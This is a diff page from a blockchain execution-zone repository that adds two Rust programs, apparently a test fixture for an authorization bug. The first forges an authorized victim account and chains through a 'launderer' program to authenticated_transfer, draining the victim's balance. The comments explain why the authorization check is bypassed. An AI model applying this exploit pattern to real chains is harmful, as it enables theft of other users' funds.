mirror of
https://github.com/logos-blockchain/logos-execution-zone.git
synced 2026-08-25 03:11:21 +00:00
Merge branch 'main' into schouhy/private-pdas-as-external-input
This commit is contained in:
@@ -0,0 +1,105 @@
|
||||
use nssa_core::{
|
||||
account::{Account, AccountId, AccountWithMetadata, Data, Nonce},
|
||||
program::{
|
||||
AccountPostState, ChainedCall, ProgramId, ProgramInput, ProgramOutput, read_nssa_inputs,
|
||||
},
|
||||
};
|
||||
|
||||
/// Instruction uses only risc0-serde-compatible primitives — no `AccountId`/`Account` structs,
|
||||
/// which use `SerializeDisplay`/`DeserializeFromStr` and cannot round-trip through
|
||||
/// `instruction_data`.
|
||||
///
|
||||
/// Fields:
|
||||
/// `p2_id`: program ID of the launderer (P2)
|
||||
/// `auth_transfer_id`: program ID of `authenticated_transfer`, forwarded to P2
|
||||
/// `victim_id_raw`: raw `[u8; 32]` of the victim `AccountId`
|
||||
/// `victim_balance`: victim's current balance
|
||||
/// `victim_nonce`: victim's current nonce (inner `u128`)
|
||||
/// `victim_program_owner`: victim account's `program_owner` field
|
||||
/// `recipient_id_raw`: raw `[u8; 32]` of the recipient `AccountId`
|
||||
/// `amount`: balance to transfer out of the victim.
|
||||
type Instruction = (
|
||||
ProgramId,
|
||||
ProgramId,
|
||||
[u8; 32],
|
||||
u128,
|
||||
u128,
|
||||
ProgramId,
|
||||
[u8; 32],
|
||||
u128,
|
||||
);
|
||||
|
||||
fn main() {
|
||||
let (
|
||||
ProgramInput {
|
||||
self_program_id,
|
||||
caller_program_id,
|
||||
pre_states,
|
||||
instruction:
|
||||
(
|
||||
p2_id,
|
||||
auth_transfer_id,
|
||||
victim_id_raw,
|
||||
victim_balance,
|
||||
victim_nonce,
|
||||
victim_program_owner,
|
||||
recipient_id_raw,
|
||||
amount,
|
||||
),
|
||||
},
|
||||
instruction_words,
|
||||
) = read_nssa_inputs::<Instruction>();
|
||||
|
||||
// Echo own pre_states (attacker's account) unchanged.
|
||||
let post_states = pre_states
|
||||
.iter()
|
||||
.map(|p| AccountPostState::new(p.account.clone()))
|
||||
.collect();
|
||||
|
||||
// Construct victim AccountWithMetadata from primitives, stamping is_authorized=true.
|
||||
// Victim has not signed anything — this flag is forged entirely by P1's logic.
|
||||
let victim = AccountWithMetadata {
|
||||
account: Account {
|
||||
program_owner: victim_program_owner,
|
||||
balance: victim_balance,
|
||||
data: Data::default(),
|
||||
nonce: Nonce(victim_nonce),
|
||||
},
|
||||
is_authorized: true,
|
||||
account_id: AccountId::new(victim_id_raw),
|
||||
};
|
||||
|
||||
// Recipient is already initialized under authenticated_transfer (program_owner =
|
||||
// auth_transfer_id, balance = 0). Using the default account would trigger
|
||||
// Claim::Authorized inside authenticated_transfer, which requires is_authorized=true
|
||||
// on the recipient — a check that would block the transfer.
|
||||
let recipient = AccountWithMetadata {
|
||||
account: Account {
|
||||
program_owner: auth_transfer_id,
|
||||
balance: 0,
|
||||
data: Data::default(),
|
||||
nonce: Nonce(0),
|
||||
},
|
||||
is_authorized: false,
|
||||
account_id: AccountId::new(recipient_id_raw),
|
||||
};
|
||||
|
||||
// Forward auth_transfer_id and amount to P2 so it can call authenticated_transfer.
|
||||
let p2_instruction = risc0_zkvm::serde::to_vec(&(auth_transfer_id, amount))
|
||||
.expect("serialization is infallible");
|
||||
|
||||
ProgramOutput::new(
|
||||
self_program_id,
|
||||
caller_program_id,
|
||||
instruction_words,
|
||||
pre_states,
|
||||
post_states,
|
||||
)
|
||||
.with_chained_calls(vec![ChainedCall {
|
||||
program_id: p2_id,
|
||||
pre_states: vec![victim, recipient],
|
||||
instruction_data: p2_instruction,
|
||||
pda_seeds: vec![],
|
||||
}])
|
||||
.write();
|
||||
}
|
||||
@@ -0,0 +1,43 @@
|
||||
use nssa_core::program::{ChainedCall, ProgramId, ProgramInput, ProgramOutput, read_nssa_inputs};
|
||||
|
||||
/// Instruction: (`auth_transfer_id`, `amount`) — both primitive, safe for `risc0_zkvm::serde`.
|
||||
type Instruction = (ProgramId, u128);
|
||||
|
||||
fn main() {
|
||||
let (
|
||||
ProgramInput {
|
||||
self_program_id,
|
||||
caller_program_id,
|
||||
pre_states,
|
||||
instruction: (auth_transfer_id, amount),
|
||||
},
|
||||
instruction_words,
|
||||
) = read_nssa_inputs::<Instruction>();
|
||||
|
||||
// Output empty pre/post states. P2 processes no accounts itself, so the
|
||||
// authorization check at validated_state_diff.rs:158-182 runs over nothing.
|
||||
// Victim is never compared against caller_data.authorized_accounts = {attacker}.
|
||||
//
|
||||
// The bug: authorized_accounts for authenticated_transfer is built from
|
||||
// chained_call.pre_states (this call's inputs, set by P1), which contains
|
||||
// victim(is_authorized=true). So authorized_accounts = {victim}, and the
|
||||
// subsequent check passes.
|
||||
let auth_transfer_instruction =
|
||||
risc0_zkvm::serde::to_vec(&authenticated_transfer_core::Instruction::Transfer { amount })
|
||||
.expect("serialization is infallible");
|
||||
|
||||
ProgramOutput::new(
|
||||
self_program_id,
|
||||
caller_program_id,
|
||||
instruction_words,
|
||||
vec![],
|
||||
vec![],
|
||||
)
|
||||
.with_chained_calls(vec![ChainedCall {
|
||||
program_id: auth_transfer_id,
|
||||
pre_states,
|
||||
instruction_data: auth_transfer_instruction,
|
||||
pda_seeds: vec![],
|
||||
}])
|
||||
.write();
|
||||
}
|
||||
Reference in New Issue
Block a user